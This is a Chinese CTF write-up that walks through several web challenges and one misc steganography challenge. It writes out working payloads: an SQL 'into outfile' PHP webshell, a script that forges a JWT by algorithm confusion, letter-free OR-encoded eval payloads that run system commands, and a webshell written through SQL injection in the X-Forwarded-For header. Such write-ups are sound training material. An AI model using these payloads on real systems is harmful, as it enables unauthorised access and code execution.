系统成了万人骑
扫出manager
,进入后发现是后台,验证码不会刷新,可以爆破,账号密码
username:admin
password:admin
在工具->SQL高级助手里面可执行SQL语句,尝试写shell
select 1,2 union select 1,\'<?php system("cat /flag");\' into outfile \'../../www/html/uploads/litimg/lz2y.php\'
得到flag
我让你加密
注册一个账号,登录
可以注意到cookie是jwt
由于是RSA不可逆加密,所以直接爆破secret是不可能的,然后需要考虑将他转为HS256D对称加密,当时也没想到那个证书有啥用,直接转成HS256D了...现在才知道需要用证书来伪造
首先导出公钥
openssl x509 -in https_cert.crt -noout -pubkey > public.pem
然后用脚本生成cookie
import jwt
import datetime
dic = {
\'exp\': datetime.datetime.now() + datetime.timedelta(days=1),
\'iat\': datetime.datetime.now(),
\'name\': \'admin\',
}
public = open(\'public.pem\', \'r\').read()
print public
s = jwt.encode(dic, key=public, algorithm=\'HS256\')
print(s)
s = jwt.decode(s, key=public, algorithms=[\'HS256\'])
print(s)
print(type(s))
注意该脚本需要注释掉一些jwt包里面代码.要不然会报错
得到cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2MDA4OTQ5MjgsIm5hbWUiOiJhZG1pbiIsImV4cCI6MTYwMDk4MTMyOH0.s82ao2N1DF1b2JJ89jU3ipSQrH54IQktRBZo5NEevf0
替换cookie可进入另一个页面
源码如下:
<?php
// PxParis maintenance shell, version 1.0.0
// Use this only in emergency situations!
require_once \'../__config.php\';
require_once \'../__jwt_wrapper.php\';
// --- sanity check
$name = jwt_verify();
if($name === false) {
header(\'Refresh: 0; url=/login.php\');
die(\'Please login\');
}
// --- DB operations
$sql = new SQLite3($USER_DB, SQLITE3_OPEN_READONLY);
$stmt = $sql->prepare(\'SELECT admin FROM users WHERE name = (?) LIMIT 1\');
$stmt->bindValue(1, $name);
$result_obj = $stmt->execute();
$result = $result_obj->fetchArray();
if(!$result) {
http_response_code(400);
header(\'Refresh: 0; url=/\');
$result_obj->finalize();
$sql->close();
die(\'User does not exist (should not happen)\');
}
// ---
$result_obj->finalize();
$sql->close();
if($result[\'admin\']) {
if(isset($_REQUEST[\'pxparis\'])) {
eval(zlib_decode(base64_decode($_REQUEST[\'pxparis\'])));
} else {
//highlight_file(__FILE__);
highlight_string(file_get_contents(__FILE__));
}
} else {
header(\'Refresh: 2; url=/\');
die(\'Only admin can view this page\');
}
可以发现eval(zlib_decode(base64_decode($_REQUEST[\'pxparis\'])));
可以执行shell
生成payload如下
<?php
$str = \'phpinfo();\';
$enc = zlib_encode($str, ZLIB_ENCODING_DEFLATE);
$lz2y = base64_encode($enc);
echo $lz2y . "<br>";
echo (zlib_decode(base64_decode($lz2y)));
?>
/**
eJwryCjIzEvL19C0BgAVxAOB
phpinfo();
**/
BreakThrough
显示源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$check=$_GET[\'check\'];//本行代码勿删,否则影响加固环节成绩
echo "<!--".$check."-->"; //本行代码勿删,否则影响加固环节成绩
if(isset($_GET[\'rce\'])) {
$rce = $_GET[\'rce\'];
if (preg_match("/[A-Za-z0-9$]+/",$rce)) {
die("error1");
}
if (preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"| |\:|\,/",$rce)) {
die("error2");
}
eval($rce);
}
?>
我们需要执行eval($rce)
,前面有挺多限制,首先是[A-Za-z0-9$]+
,应该考的是__无数字和字母的webshell__,然后这应该是他的升级版,过滤了$
,然后继续往下看,发现过滤了一堆
preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"| |\:|\,/",$rce)
异或非且,发现或没有被过滤,而且发现他居然过滤的是中文的(
和)
,空格也是没有转义,相当于没有过滤
应该是可以通过或
操作将没有过滤的字符构造出我们想要的字母,写个脚本
<?php
$shell = "phpinfo";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=0;$x<=125;$x++)
{
if(judge(chr($x)))
{
for($y=0;$y<=125;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)|chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo \'GET: \'.\'\\'\' . urlencode($result1) . \'"|\' . \'"\' .urlencode($result2) .\'"<br>\';
var_dump(chr(255));
function judge($c)
{
if(!preg_match(\'/[a-z0-9]|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\-|\_|\{|\}|\[|\]|\"|\ |\:|\,/is\',$c))
{
return true;
}
return false;
}
/**
GET: \'%10%08%10%09%0E%06%0F\'|\'%60%60%60%60%60%60%60\'
**/
传参
?rce=(%27%10%08%10%09%0E%06%0F%27|%27%60%60%60%60%60%60%60%27)();
当时比赛就此搞不动了,之前见过一篇文章貌似可以用,但是没保存也不让上网查看资料,只能就罢
等等!!!我好像,在本地复现的时候发现可以直接
system(whoami);
/**
?rce=(%27%13%19%13%14%05%0D%27|%27%60%60%60%60%60%60%27)(%27%17%08%0F%01%0D%09%27|%27%60%60%60%60%60%60%27);
**/
直接执行系统命令???
当时队友跟我说这么搞,我还说php7特性这么操作是不行的...但也试了一下,比赛的时候死活不成功,当时赛题是开启了短标签的,当时测试过
?><? `whoami`?>
以为相当于<?php echo(shell_exec("whoami"));
也没成功,现在发现需要
?><?= `whoami`?>
也在本地复现成功了...由于得不到当时的环境也不敢说啥
好吧,查看了wp,确实是可以这么搞的,中间的命令为字符串可以直接用.
拼接
?rce=(%27``````%27|%27%13%19%13%14%05%0d%27)((%27```%27|%27%03%01%14%27).(%27%09/%27).(%27````%28%27|%27%06%0c%01%07%02%27));
/*
system(cat /flag*);
*/
错过了一个亿?
so easy
smarty模板注入,先咕了,还没学过
系统成了千人骑
听说和万人骑差不多,弱密码进入后台,可以SQL写shell,但是现在也复现不了了,环境没拉下来,做题的时候自己把自己网站搞崩了,后来后台,phpmyadmin也进不去了,不愧是我
换了个IP
这题啊...我们看看源码吧...看下神奇的操作
if(isset($_POST[\'username\']) && isset($_POST[\'password\'])){
if(getenv(\'HTTP_CLIENT_IP\')) {
$ip = getenv(\'HTTP_CLIENT_IP\');
} elseif(getenv(\'HTTP_X_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_X_FORWARDED_FOR\');
} elseif(getenv(\'REMOTE_ADDR\')) {
$ip = getenv(\'REMOTE_ADDR\');
} else {
$ip = $HTTP_SERVER_VARS[\'REMOTE_ADDR\'];
}
$salt =\'Satan1a\';
$username=$_POST[\'username\'];
$passwd=$_POST[\'password\'];
$changename=md5($username.$salt);
$changepasswd=md5($passwd.$salt);
$sql="SELECT * FROM users where username = \'".$changename."\' and password = \'".$changepasswd."\'";
$result=$mysqli->query($sql);
if ($result) {
$row=$result->fetch_array();
}else{
echo \'查询出错!\';
}
$auth=($row[\'username\']);
if($auth===NULL){
echo "<script>alert(\'用户名或者密码错误\');history.go(-1);</script>";
}
else{
$sql = "insert into login_ip (datetime,ip, username) values (\'".date("Y-m-d h:i:s")."\',\'".$ip."\', \'".$username."\');";
$mysqli->query($sql);
$_SESSION["username"] = $username;
echo "<script>alert(\'登录成功!\');self.location=\'admin.php?action=welcome\'; </script>";
exit;
}
}else{
include("templates/login.html");
if(getenv(\'HTTP_CLIENT_IP\')) {
$ip = getenv(\'HTTP_CLIENT_IP\');
} elseif(getenv(\'HTTP_X_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_X_FORWARDED_FOR\');
} elseif(getenv(\'REMOTE_ADDR\')) {
$ip = getenv(\'REMOTE_ADDR\');
} else {
$ip = $HTTP_SERVER_VARS[\'REMOTE_ADDR\'];
}
$sql="select username from login_ip where ip=\'$ip\'";
$result=$mysqli->query($sql);
if ($result) {
$row=$result->fetch_array();
}else{
echo \'查询出错!\';
}
if ($row) {
//
}else{
echo "<br><h3 align=\'center\'>您正在新机器上登录系统,请检查登录环境是否安全</h3><br>";
}
}
???当时我测试过XFF
伪造IP,然后SQL注入...但是谁能想到他需要没有username
和password
才能进入这个else循环啊...有亿点点脑洞
在header头里添加x-forwarded-for字段进行注入
x-forwarded-for:1\' union select \'<?php eval("cmd");?>\' into outfile "/var/www/html/lz2y.php"
you can get flag easily
下载文件,压缩包里面的文件名就是
hidden_secret
拿到题目,是一个没有后缀名的文件
拿去kali用file看一下,是一个zip
然后把后缀名改一下,改成zip
然后解压 看到一个图片和一个压缩包
然后打开压缩包,发现有加密的两个文件
然后观察一下,加密的文件里面也有hahah.jpg,而且crc校验值一样
可以想到明文攻击
准备好两个压缩包,拿去ARCHPR,明文攻击一波
顺利拿到压缩包密码
pb-1`;ks
然后解压了,看到一个gif,是key.gif
一帧一帧看一下,发现一个二维码
然后识别一下,得到flag
flag{ni_chou_sha}
但是提交发现flag不对,真的服了,错的flag也不直接说...
其实是gif隐写,用stegsolve分析图像信息,可以发现这个gif动图的间隔时间分为10和20两种,考虑gif时间隐写。
将所有间隔时间分离出来:magick identify -format "%T" key.gif >out.txt
得到:1020201020201020102010101020101010102020102010201020102020202020102020101020201010202020101020201020202010201010
将10转化为1,20转换为1,得到二进制串:01101101010001000011010101011111011001100111001101110100
转为字符串:mD5_fst
md5加密: 046cb65e60a4774c76b4f99371e66f0d
根据题目提示ntfs,查看文件夹隐藏文件,在hidden_secret文件夹中发现隐藏文件flag.rar,提取出来,是加密文件夹,用上面得到的md5值作为密码解压压缩包,得到flag.txt,打开得到flag
Misc是队友写的,我也没去复现了